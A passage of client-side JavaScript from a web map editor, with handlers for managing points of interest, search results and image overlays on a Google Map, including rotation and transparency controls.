MAPEDITOR.TRACER.addTracer(\"[INFO]: attempting to clear \" + MAPEDITOR.GLOBAL.DEFINES.poiObj.length + \"POIs...\");\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj.length > 0) {\n //warn the user that this will delete all the pois\n if (MAPEDITOR.UTILITIES.confirmMessage(MAPEDITOR.LOCALIZATION.DEFINES.L72)) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L53);\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiType[i] != \"deleted\") {\n MAPEDITOR.GLOBAL.DEFINES.poiType[i] = \"deleted\";\n }\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] != null) {\n MAPEDITOR.GLOBAL.DEFINES.poiObj[i].setMap(null);\n //MAPEDITOR.GLOBAL.DEFINES.poiObj[i] = null;\n }\n if (MAPEDITOR.GLOBAL.DEFINES.poiDesc[i] != null) {\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[i] = null;\n }\n if (MAPEDITOR.GLOBAL.DEFINES.poiKML[i] != null) {\n MAPEDITOR.GLOBAL.DEFINES.poiKML[i] = null;\n }\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i] = null;\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i] = null;\n var strg = \"#poi\" + i; //create <li> poi string\n $(strg).remove(); //remove <li>\n }\n MAPEDITOR.GLOBAL.DEFINES.poi_i = -1;\n //send to server to delete all the pois\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L_Deleted;\n MAPEDITOR.UTILITIES.createSavedPOI(\"save\");\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n //reset poi arrays\n MAPEDITOR.GLOBAL.DEFINES.poiObj = [];\n MAPEDITOR.GLOBAL.DEFINES.poiDesc = [];\n MAPEDITOR.GLOBAL.DEFINES.poiKML = [];\n //reset\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L11);\n } else {\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotCleared);\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotCleared);\n }\n } catch (e) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotCleared);\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clear completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n searchResultDeleteMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultDeleteMe started...\");\n //remove visually\n MAPEDITOR.GLOBAL.DEFINES.searchResult.setMap(null); //remove from map\n $(\"#searchResultListItem\" + id).remove(); //remove the first result div from result list box in toolbox\n document.getElementById(\"content_toolbar_searchField\").value = \"\"; //clear searchbar\n document.getElementById(\"content_toolbox_searchField\").value = \"\"; //clear searchbox\n //remove references to \n MAPEDITOR.GLOBAL.DEFINES.searchResult = null; //reset search result map item\n MAPEDITOR.GLOBAL.DEFINES.searchCount = 0; //reset search count\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultDeleteMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n searchResultShowMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultShowMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.searchResult.setMap(map); //remove from map\n document.getElementById(\"searchResultToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.searchResultHideMe(\" + id + \");\\\" />\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultShowMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n searchResultHideMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultHideMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.searchResult.setMap(null); //remove from map\n document.getElementById(\"searchResultToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"add.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.searchResultShowMe(\" + id + \");\\\" />\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: searchResultHideMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n poiGetDesc: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiGetDesc started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.ACTIONS.poiGetDesc(\" + id + \"); started...\");\n //filter to not set desc to blank\n if (document.getElementById(\"poiDesc\" + id).value == \"\") {\n return;\n } else {\n //get the desc\n var temp = document.getElementById(\"poiDesc\" + id).value;\n\n //check for invalid characters\n if (temp.contains(\"~\") || temp.contains(\"|\")) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L8);\n } else {\n\n //get and hold heldPosistion\n var heldPosition = MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].position;\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiDesc[id]: \" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[id]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: temp: \" + temp);\n\n //replace the list item title \n var tempHTMLHolder1 = document.getElementById(\"poiList\").innerHTML.replace(MAPEDITOR.GLOBAL.DEFINES.poiDesc[id], temp);\n document.getElementById(\"poiList\").innerHTML = tempHTMLHolder1;\n\n //MAPEDITOR.TRACER.addTracer(\"[INFO]: tempHTMLHolder1: \" + tempHTMLHolder1);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.poiDesc[id].substring(0, 20): \" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[id].substring(0, 20));\n MAPEDITOR.TRACER.addTracer(\"[INFO]: temp.substring(0, 20): \" + temp.substring(0, 20));\n\n //now replace the list item (order is important)\n var tempHTMLHolder2 = document.getElementById(\"poiList\").innerHTML.replace(\">\" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[id].substring(0, 20), \">\" + temp.substring(0, 20));\n //now post all this back to the listbox\n document.getElementById(\"poiList\").innerHTML = tempHTMLHolder2;\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: tempHTMLHolder2: \" + tempHTMLHolder2);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.label[id]\" + MAPEDITOR.GLOBAL.DEFINES.label[id]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: temp.substring(0, 20): \" + temp.substring(0, 20));\n\n //replace the object label\n MAPEDITOR.GLOBAL.DEFINES.label[id].set(\"labelContent\", temp.substring(0, 20));\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.poiDesc[id]: \" + MAPEDITOR.GLOBAL.DEFINES.poiDesc[id]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: temp: \" + temp);\n\n //assign full description to the poi object\n MAPEDITOR.GLOBAL.DEFINES.poiDesc[id] = temp;\n\n //close old info window (this negates bug where desc box would no longer be tied to point)\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(null);\n\n //visually reset desc\n //MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setOptions({ content: MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", id, \"\", \"\") });\n\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id] = new google.maps.InfoWindow({\n content: MAPEDITOR.UTILITIES.writeHTML(\"poiDescIncoming\", id, temp, \"\"),\n position: heldPosition,\n pixelOffset: new google.maps.Size(0, -40)\n });\n\n //close the poi desc box\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(null);\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.ACTIONS.poiGetDesc(\" + id + \"); finished...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiGetDesc completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n poiDeleteMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiDeleteMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.poiObj[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.poiObj[id] = null;\n MAPEDITOR.GLOBAL.DEFINES.poiType[id] = \"deleted\";\n var strg = \"#poi\" + id; //create <li> poi string\n $(strg).remove(); //remove <li>\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[id].setMap(null);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiDeleteMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n poiShowMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiShowMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.poiObj[id].setMap(map);\n //explicitly declar position of MAPEDITOR.GLOBAL.DEFINES.infoWindow (fixes issue of first poi desc posit on load)\n //MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setOptions({ pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.label[id].setMap(map);\n //document.getElementById(\"poi\" + id).style.background = MAPEDITOR.GLOBAL.DEFINES.listItemHighlightColor;\n document.getElementById(\"poiToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiHideMe(\" + id + \");\\\" />\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiShowMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n poiHideMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poihideme started...\");\n MAPEDITOR.GLOBAL.DEFINES.poiObj[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[id].setMap(null);\n document.getElementById(\"poiToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"add.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiShowMe(\" + id + \");\\\" />\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poihideme completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n poiEditMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiEditMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.poiObj[id].setMap(map);\n //explicitly declar position of MAPEDITOR.GLOBAL.DEFINES.infoWindow (fixes issue of first poi desc posit on load)\n //MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setOptions({ pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[id].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.label[id].setMap(map);\n //document.getElementById(\"poi\" + id).style.background = MAPEDITOR.GLOBAL.DEFINES.listItemHighlightColor;\n document.getElementById(\"poiToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.poiHideMe(\" + id + \");\\\" />\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiEditMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n overlayDeleteMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayDeleteMe started...\");\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id]) {\n if (MAPEDITOR.UTILITIES.confirmMessage(MAPEDITOR.LOCALIZATION.DEFINES.L54)) {\n try {\n //MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L68;\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L55 + \" \" + id;\n MAPEDITOR.UTILITIES.createSavedOverlay(\"delete\", id, \"\", \"\", \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id] = null;\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id] = null;\n //var strg = \"#overlayListItem\" + id; //create <li> overlay string\n //$(strg).remove(); //remove <li>\n MAPEDITOR.GLOBAL.DEFINES.overlayCount += -1;\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = null;\n //MAPEDITOR.UTILITIES.displayMessage(id + \" \" + MAPEDITOR.LOCALIZATION.DEFINES.L33);\n //MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L55 + \" \" + id);\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n } catch (e) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L57); //nothing to delete\n }\n } else {\n //do nothing\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L57); //nothing to delete\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayDeleteMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n overlayShowMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayShowMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id].setMap(map);\n document.getElementById(\"overlayToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayHideMe(\" + id + \");\\\" />\";\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L32 + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[id]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayShowMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n overlayHideMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayHideMe started...\");\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id].setMap(null);\n //document.getElementById(\"overlayListItem\" + id).style.background = null;\n document.getElementById(\"overlayToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"add.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayShowMe(\" + id + \");\\\" />\";\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L31 + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[id]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayHideMe completed...\");\n } catch (err) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L56); //nothing to hide\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n overlayEditMe: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayEditMe started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: editing overlay id: \" + id);\n //alert(\"editing... \\noverlay id: \" + id + \"\\nwoi: \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex + \"\\nsor: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex] + \"\\nipr: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex] + \"\\npr: \" + MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n //check to see if overlay is indeed a bonified overlay (on the map)\n try {\n //indicate we are editing\n MAPEDITOR.GLOBAL.DEFINES.pageMode = \"edit\";\n //if editing is being done and there is something to save, save\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"yes\" && MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n //reset overlay drawingmode\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving overlay \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n //trigger a cache of current working overlay\n MAPEDITOR.UTILITIES.cacheSaveOverlay(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex);\n //set MAPEDITOR.GLOBAL.DEFINES.rectangle to MAPEDITOR.GLOBAL.DEFINES.ghosting\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setOptions(MAPEDITOR.GLOBAL.DEFINES.ghosting);\n //reset editing marker\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"no\";\n //set new woi\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = id;\n //go through each overlay on the map\n MAPEDITOR.UTILITIES.cycleOverlayHighlight(id);\n //set preserved rotation to the rotation of the current overlay\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting preserved rotation to MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1) + \"] (\" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)] + \")\");\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1];\n //MAPEDITOR.GLOBAL.DEFINES.preservedRotation = 0;\n }\n //if editing is not being done, make it so\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"no\" || MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex == null) {\n //reset overlay drawingmode\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n //MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n //set new woi\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = id;\n //open woi\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[id].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[id].setMap(map);\n document.getElementById(\"overlayToggle\" + id).innerHTML = \"<img src=\\\"\" + MAPEDITOR.GLOBAL.DEFINES.baseURL + MAPEDITOR.GLOBAL.DEFINES.baseImageDirURL + \"sub.png\\\" onclick=\\\"MAPEDITOR.ACTIONS.overlayHideMe(\" + id + \");\\\" />\";\n //go through each overlay on the map\n MAPEDITOR.UTILITIES.cycleOverlayHighlight(id);\n //enable editing marker\n MAPEDITOR.GLOBAL.DEFINES.currentlyEditing = \"yes\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: editing overlay \" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1));\n //get and set the preserved transparency value\n try {\n MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = document.getElementById(\"overlay\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)).style.opacity;\n } catch (e) {\n MAPEDITOR.GLOBAL.DEFINES.preservedOpacity = \"0.35\";\n }\n $(\"#overlayTransparencySlider\").slider(\"value\", MAPEDITOR.GLOBAL.DEFINES.preservedOpacity);\n //set rotation value\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1] != null) {\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1];\n //set visual rotation knob value\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1] < 0) {\n $('.knob').val((180 + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]) + 180).trigger('change');\n //$('.knob').val(((180 + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]) + 180)).trigger('change');\n //alert(\"setting knob to: MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1) + \"] (\" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)] + \")\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting knob to: \" + ((180 + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]) + 180));\n } else {\n $('.knob').val(MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]).trigger('change');\n //alert(\"setting knob to: MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1) + \"] (\" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)] + \")\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting knob to: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]);\n }\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rotation error catch: \" + e);\n }\n } else {\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1] != null) {\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1];\n }\n //set visual rotation knob value\n try {\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1] < 0) {\n //$('.knob').val(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]).trigger('change');\n $('.knob').val(((180 + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]) + 180)).trigger('change');\n //alert(\"setting knob to: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1) + \"] (\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)] + \")\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting knob to: \" + ((180 + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]) + 180));\n } else {\n $('.knob').val(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]).trigger('change');\n //alert(\"setting knob to: MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1) + \"] (\" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[(MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)] + \")\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting knob to: \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1]);\n }\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rotation error catch: \" + e);\n }\n }\n } catch (e) {\n //could not add rotation data\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: Could not add rotation data\");\n }\n //show ghost\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setOptions(MAPEDITOR.GLOBAL.DEFINES.editable);\n //iterate top z index\n MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex++;\n //bring overlay to front\n try {\n document.getElementById(\"overlay\" + (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1)).style.zIndex = MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex;\n } catch (e) {\n //could not set overlay\n MAPEDITOR.TRACER.addTracer(\"[WARN]: Could not set overlay zindex\");\n }\n //bring ghost to front\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex].setOptions({ zIndex: MAPEDITOR.GLOBAL.DEFINES.currentTopZIndex });\n //recenter on the overlay\n MAPEDITOR.UTILITIES.overlayCenterOnMe(id);\n }\n //indicate to user we are editing a polygon\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L34 + \" \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[(id - 1)]);\n } catch (e) {\n //go through each overlay on the map\n MAPEDITOR.UTILITIES.cycleOverlayHighlight(id);\n //create the overlay\n MAPEDITOR.UTILITIES.createOverlayFromPage(id);\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayEditMe completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n useSearchAsItemLocation: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: useSearchAsItemLocation started...\");\n //debuggin\n MAPEDITOR.TRACER.addTracer(\"[INFO]: search result: \" + MAPEDITOR.GLOBAL.DEFINES.searchResult);\n //check to see if there is a search result\n if (MAPEDITOR.GLOBAL.DEFINES.searchResult != null) {\n //this tells listeners what to do\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n //determine if itemmarker is already made\n if (MAPEDITOR.GLOBAL.DEFINES.itemMarker != null) {\n //assign new position of marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setPosition(MAPEDITOR.GLOBAL.DEFINES.searchResult.getPosition());\n //delete search result\n MAPEDITOR.ACTIONS.searchResultDeleteMe();\n //display new marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setMap(map);\n } else {\n //make search marker, item marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = MAPEDITOR.GLOBAL.DEFINES.searchResult;\n //assign itemMarkerMode\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setOptions(MAPEDITOR.GLOBAL.DEFINES.markerOptionsItem);\n //assign flags\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n //used to prevent multi markers\n if (MAPEDITOR.GLOBAL.DEFINES.firstMarker > 0) {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //only place one at a time\n } else {\n MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //only place one at a time\n }\n }\n //prevent redraw\n 